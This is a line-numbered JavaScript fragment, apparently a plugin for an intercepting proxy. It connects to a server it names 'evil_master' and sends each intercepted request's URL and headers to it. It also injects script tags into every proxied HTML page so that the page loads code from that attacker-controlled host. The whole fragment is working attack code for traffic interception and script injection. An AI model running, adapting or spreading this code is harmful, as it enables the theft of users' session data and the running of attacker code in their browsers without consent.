3 var config = fs.readFileSync('config.txt', 'utf8').split('\n').map(function(l) {return l.split('=')})
4 var my_ip = config.filter(function(l){return l[0]=='my_ip'})[0][1]
5 var server_port = config.filter(function(l){return l[0]=='server_port'})[0][1]
6 var evil_master = my_ip+':'+server_port
8 var io = require('socket.io-client').connect('http://'+evil_master)
10 exports.run = function(api) {
11 console.log('injecting...')
12 var qinf = api.getRequestInfo()
13 io.emit('request', {url: qinf.absUrl, headers: qinf.headers})
14 var body = api.getResponseBody()
15 var headIndex = body.indexOf('<head>')+6
16 if (headIndex == 5) headIndex = 0
17 body = body.substr(0, headIndex) +
18 '\n<script>var __evil_injection_server="'+evil_master+'"</script>' +
19 '\n<script src="http://'+evil_master+'/socket.io/socket.io.js"></script>' +
20 '\n<script src="http://'+evil_master+'/injection_script.js"></script>' +
21 body.substr(headIndex)
22 api.setResponseBody(body)